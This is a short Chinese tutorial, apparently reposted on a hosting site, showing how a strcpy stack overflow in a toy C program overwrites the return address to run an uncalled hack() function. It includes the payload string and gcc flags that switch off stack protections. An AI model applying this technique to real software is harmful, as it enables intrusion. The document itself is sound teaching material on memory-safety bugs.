您好,登錄后才能下訂單哦!
#include<stdlib.h> #include<string.h> void fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf); } void hack(){ printf("flag\n"); } int main(){ char name[]="Alex@bbb"; fun(name); return 0; }
上面的程序是一個正常的C語言程序,但是main函數中沒有調用hack()函數,下面我就演示下如何利用緩沖區溢出來執行hack函數的內容。
使用codeblocks編譯并執行上述程序后,拖入od查看棧的變化情況,看看給變量name賦什么值的時候,會恰好覆蓋掉call fun處的函數返回地址
F7跟進 F8 一句一句執行:
因此我們添加poc:
#include<stdlib.h> #include<string.h> void fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf); } void hack(){ printf("flag\n"); } int main(){ char name[]="Alex@bbbaaaaaaaaaaaaaa\x59\x13\x40\00"; //這里后邊四個為hack()函數地址 fun(name); return 0; }
重新編譯執行后,我們發現利用成功:
在使用ubuntu復現棧溢出的時候需要關閉棧保護機制:
使用gcc編譯時全部關閉保護機制,參數-fno-stack-protector用來關閉gcc編譯器gs驗證碼機制,
-z execstack用來關閉ld鏈接器堆棧段不可執行機制。
這里有一個linux下64位的棧溢出過程。
https://www.secpulse.com/archives/32328.html
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。